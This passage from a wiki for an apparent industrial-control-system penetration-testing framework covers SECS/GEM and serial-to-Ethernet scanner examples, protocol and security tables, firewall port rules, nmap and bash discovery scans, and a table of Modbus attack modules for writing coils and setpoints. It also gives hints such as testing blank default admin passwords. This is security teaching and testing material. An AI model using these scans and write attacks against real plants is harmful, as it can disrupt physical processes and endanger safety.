Description: SECS/GEM is mandatory in semiconductor fab equipment communications (SEMI E5/E30/E37). All modern fab tools (CMP, litho, CVD, etch, implant) support HSMS over TCP/5000. S1F1 (Are You There) / S1F2 (On-Line Data) reveals complete equipment identity. S2F41 (Host Command Send) allows triggering equipment state transitions.

IXF Example:

ixf > use scanners/ics/hsms_scanner
ixf > set target 10.100.1.0/24
ixf > run
 [SIMULATE MODE — no packets sent]
 Step 1: Connect TCP to each host:5000
 Step 2: Send HSMS Select.req (session selection)
 Step 3: Send S1F1 (Are You There)
 Step 4: Parse S1F2 response:
 Equipment Model : Applied Materials Producer CVD
 Software Version : 3.4.0.2201
 Equipment ID : TOOL-CVD-01
 Supported Streams: S1, S2, S5, S6, S9, S10
 [i] S2F41 Host Command: initiate recipe download, state change, or alarm acknowledge
 [i] MITRE: T0888, T0855 (Unauthorized Command)

Protocol Example 25: Serial-to-Ethernet Converters

Description: Moxa NPort, Lantronix UDS, and similar serial-to-Ethernet devices convert RS-232/RS-485 serial OT devices (PLCs, RTUs, meters) to Ethernet-accessible TCP/IP. These are extremely common in legacy OT environments. Many NPort devices have default credentials (admin with no password), an unauthenticated web console, and expose raw serial access on TCP/4001.

IXF Example:

ixf > use scanners/ics/serial_to_ethernet_scanner
ixf > set target 192.168.1.0/24
ixf > run
 [SIMULATE MODE — no packets sent]
 Step 1: Connect to port 4001 (Moxa NPort default serial port 1)
 Step 2: Send Moxa discovery broadcast (UDP 4800)
 Step 3: Parse discovery response:
 Device Name: NPort 5410
 MAC: 00:90:E8:xx:xx:xx
 Firmware: 1.7
 Serial Ports: 4 (all mapped to TCP)
 Step 4: TCP/4001 provides raw serial access to connected RS-232/RS-485 devices
 [i] Connect to port 4001, then send Modbus RTU or DNP3 serial frames directly
 [i] Web console typically on port 80 — test for default admin/(blank)

Protocol Coverage by Industry Sector

Sector Primary Protocols Secondary Protocols
Power generation (thermal, gas, nuclear) IEC 60870-5-104, IEC 61850, DNP3, Modbus OPC UA, PROFIBUS, FOUNDATION Fieldbus
Power distribution (grid, substations) IEC 61850 GOOSE/MMS, DNP3, IEC 60870-5-101/104 Modbus, SEL (proprietary)
Oil and gas (upstream) Modbus RTU, HART, FOUNDATION Fieldbus H1 OPC DA, OPC UA
Oil and gas (downstream refinery) PROFIBUS, FOUNDATION Fieldbus, Modbus EtherNet/IP, OPC UA
Chemical plants HART, FOUNDATION Fieldbus, Modbus RTU PROFIBUS PA, OPC DA
Water and wastewater Modbus TCP, DNP3, IEC 60870-5-104 BACnet, OPC UA
Manufacturing (discrete) EtherNet/IP (CIP), PROFINET, DeviceNet Modbus TCP, OPC UA
Manufacturing (process) PROFIBUS, Modbus, HART, CC-Link OPC UA, EtherNet/IP
Automotive EtherNet/IP, PROFINET, EtherCAT, DeviceNet PROFIBUS, CANopen
Semiconductor fab SECS/GEM (HSMS), OPC UA Modbus, Ethernet
Building automation BACnet, KNX, LonWorks, Modbus OPC UA, MQTT
Maritime NMEA 2000, Modbus TCP, OPC UA DNP3, HART
Railways IEC 61375, Modbus, OPC UA CAN, LON
Airport (airfield lighting) DALI, Modbus, BACnet Ethernet/IP
Data center cooling BACnet, Modbus, LonWorks OPC UA

IXF Protocol Roadmap

The following protocols are planned for future IXF versions:

Protocol Status Planned Version
WirelessHART (IEC 62591) Planned v1.1
ISA-100.11a (IEC 62734) Planned v1.1
NMEA 2000 (maritime) Planned v1.2
IEC 61375 (railway) Planned v1.2
M-Bus (EU smart metering) Planned v1.1
DLMS/COSEM (smart meters) Planned v1.2
DALI (lighting) Planned v1.2
OPC UA PubSub In progress v1.1
DDS (real-time robotics) Research v1.3

To request protocol coverage, open an issue on GitHub: https://github.com/mrhenrike/IndustrialXPL-Forge/issues


Protocol Security Comparison Matrix

Understanding which OT protocols have built-in security controls vs. those that require compensating controls:

Protocol Authentication Encryption Integrity Safety Profile Security Standard
Modbus TCP None None None None No security (by design)
Modbus RTU None None CRC only None No security
Siemens S7comm None (v1/v2/v3) None Partial None No auth — known issue
Siemens S7comm+ TLS (cert-based) TLS 1.2+ TLS HMAC Partial CVE-2021-22681 (hardcoded key)
EtherNet/IP / CIP Optional (FactoryTalk) Optional TLS Optional CIP Safety ODVA security extensions
PROFINET DCP None None None None Relies on L2 isolation
DNP3 Optional SAv5 None HMAC (SAv5) None IEEE 1815 Annex D
BACnet/IP None (base) Optional TLS None None ASHRAE 135-2020 security
IEC 60870-5-104 None None None None Requires IEC 62351 overlay
IEC 61850 MMS Certificate (62351-3) TLS TLS GooseSec (62351-6) IEC 62351 series
IEC 61850 GOOSE Optional HMAC (62351-6) None HMAC Yes IEC 62351-6
OPC UA Certificate + username TLS TLS Full OPC UA Security (IEC 62541)
OPC DA (DCOM) Windows NTLM/Kerberos Optional NTLM None Windows AD security
MQTT Optional username/TLS Optional TLS TLS/HMAC None MQTT v5 enhanced auth
SNMP v1/v2c Community string None None None Deprecated — use SNMPv3
SNMP v3 Username + HMAC DES/AES HMAC-MD5/SHA None RFC 3410/3412
CANopen None None None None Physical layer security only
EtherCAT None None None FSoE (safety) Physical: L2 isolated
HART / HART-IP None (HART) / TLS (IP) None / TLS None / TLS None HART-IP TLS optional

Key takeaways:

  • Most legacy OT protocols (Modbus, S7comm, DNP3, BACnet) have NO built-in authentication
  • Security must be implemented at network layer (firewalls, VLANs, monitoring)
  • OPC UA is the most secure OT protocol with full TLS + certificate authentication
  • IEC 61850 with IEC 62351 extensions is the substation security standard

Protocol Port Reference for Firewall Rules

Complete port list for ICS firewall policy:

# ICS protocol ports — firewall rule reference
# ALLOW (inbound to OT, only from approved sources)
tcp 502 Modbus TCP # Source: SCADA servers only
tcp 102 S7comm, IEC 61850 MMS # Source: Engineering WS only
tcp 44818 EtherNet/IP # Source: SCADA servers only
udp 47808 BACnet/IP # Source: BAS servers only
tcp 2404 IEC 60870-5-104 # Source: SCADA masters only
tcp 4840 OPC UA # Source: OPC UA clients only
udp 9600 Omron FINS # Source: SCADA servers only
tcp 20256 Unitronics PCOM # Source: Engineering WS only
tcp 48898 Beckhoff ADS # Source: Engineering WS only
tcp 20000 DNP3 # Source: DNP3 masters only
udp 20000 DNP3 UDP # Source: DNP3 masters only
tcp 1883 MQTT # Source: IIoT brokers only (if used)
udp 161 SNMP v3 only # Source: NMS server only
tcp 5450 OSIsoft PI Server # Source: Historian clients
tcp 5457,5461 AVEVA Historian # Source: Historian clients
tcp 4911 Tridium Niagara # Source: Engineering WS only
tcp 8088 Inductive Automation # Source: SCADA clients only
tcp 1502 Triconex (SIS) # Source: SIS engineering only — HIGH RISK if open
# DENY (block all from untrusted sources)
tcp 23 Telnet # Block entirely — use SSH only
tcp 21 FTP # Block entirely — use SFTP
tcp 80 HTTP (OT mgmt) # Block from internet; internal only
tcp 135 DCOM (OPC DA) # Block from untrusted — allow WS only
tcp 3389 RDP # Block — use jump server
udp 53 DNS from OT # Redirect to internal DNS only
tcp 445 SMB # Block outbound from OT (NotPetya prevention)

Protocol Discovery Automation

Automated Multi-Protocol Discovery Script

#!/usr/bin/env bash
# ics-protocol-discovery.sh
# Discovers ICS protocols on a target subnet
TARGET="${1:-192.168.1.0/24}"
echo "=== ICS Protocol Discovery: $TARGET ==="
# Run IXF multi-protocol discovery
ixf \
 use scanners/ics/modbus_detect set target "$TARGET" check \
 use scanners/ics/s7_comm_scanner set target "$TARGET" check \
 use scanners/ics/enip_scanner set target "$TARGET" check \
 use scanners/ics/opcua_scanner set target "$TARGET" check \
 use scanners/ics/dnp3_scanner set target "$TARGET" check \
 use scanners/ics/bacnet_scanner set target "$TARGET" check \
 2>&1 | tee protocol_discovery.txt
# Generate report
ixf report json 2>&1
echo "=== Discovery complete. Results: protocol_discovery.txt ==="

nmap Multi-Protocol ICS Scan

# Comprehensive ICS protocol scan
nmap -sV -p 102,502,44818,47808,2404,4840,9600,20256,48898,20000,1883,161,1502,4911 \
 --script ics-sweep,ics-enumerate,ics-firmware-version \
 --open \
 192.168.1.0/24
# Output to XML for IXF integration
nmap -sV -p 102,502,44818,47808,2404,4840 \
 --script ics-sweep \
 -oX ics_discovery.xml \
 192.168.1.0/24

Vendor-Protocol Matrix

Which vendors use which protocols (common combinations):

Vendor Primary Protocol Secondary Legacy
Siemens S7comm+, PROFINET OPC UA S7comm
Rockwell EtherNet/IP (CIP) PCCC, ControlNet DeviceNet
Schneider Modbus TCP EtherNet/IP Uni-Telway
ABB Foundation Fieldbus OPC UA Profibus
Honeywell OPC DA/UA Modbus Enraf HART
Emerson FOUNDATION FF OPC UA Modbus RTU
Yokogawa Vnet/IP, OPC UA FOUNDATION FF BRAIN
GE/Vernova OPC UA Modbus DNP3
Omron EtherNet/IP (CIP) FINS/UDP DeviceNet
Mitsubishi CC-Link IE Modbus CC-Link
Beckhoff EtherCAT, ADS OPC UA PROFIBUS
WAGO PROFIBUS, Modbus OPC UA Interbus
Pilz PROFIsafe Modbus ASi
Phoenix Contact PROFINET EtherNet/IP INTERBUS
Unitronics PCOM Modbus Serial
Tridium BACnet/IP Modbus LonWorks

Deep-Dive: Modbus Protocol Security

Modbus TCP (port 502) is the most widely exploited ICS protocol because:

  1. No authentication — any device can send any command
  2. No encryption — all data in cleartext (ARP/MITM trivial)
  3. No authorization — read/write are equally accessible to all clients
  4. Broadcast capable — unit ID 0 reaches all Modbus devices
  5. No session concept — stateless; no login/logout

Common Modbus Attacks Covered by IXF

Function Code Name Attack IXF Module
FC01 Read Coils Status reconnaissance exploits/protocols/modbus/modbus_coil_scan
FC02 Read Discrete Inputs I/O reconnaissance exploits/protocols/modbus/modbus_discrete_scan
FC03 Read Holding Registers Setpoint exfiltration exploits/protocols/modbus/modbus_register_read
FC04 Read Input Registers Sensor value exfiltration exploits/protocols/modbus/modbus_input_read
FC05 Write Single Coil Output manipulation exploits/protocols/modbus/modbus_coil_write
FC06 Write Single Register Setpoint manipulation exploits/protocols/modbus/modbus_single_register_write
FC15 Write Multiple Coils Mass output manipulation exploits/protocols/modbus/modbus_multi_coil_write
FC16 Write Multiple Registers Mass setpoint attack exploits/protocols/modbus/modbus_multi_register_write
FC43 MEI/Read Device ID Vendor fingerprinting scanners/ics/modbus_detect

Modbus Defense Mechanisms

Since Modbus has no built-in security, compensating controls are required:

  • Network segmentation — restrict port 502 access to SCADA servers only
  • Modbus firewall (Modbus-aware DPI) — filter by unit ID, FC, register range
  • Unidirectional gateways — data diode for historian reads
  • IDS/NDR (Claroty/Nozomi) — baseline normal Modbus patterns; alert on deviations
  • Encrypted tunnel (Modbus over TLS/VPN) — for remote access
  • OPC UA migration — replace Modbus TCP with OPC UA (authentication + encryption)

Previous: SAST / LLM Analysis | Next: Module Development

Clone this wiki locally

AltStyle によって変換されたページ (->オリジナル) /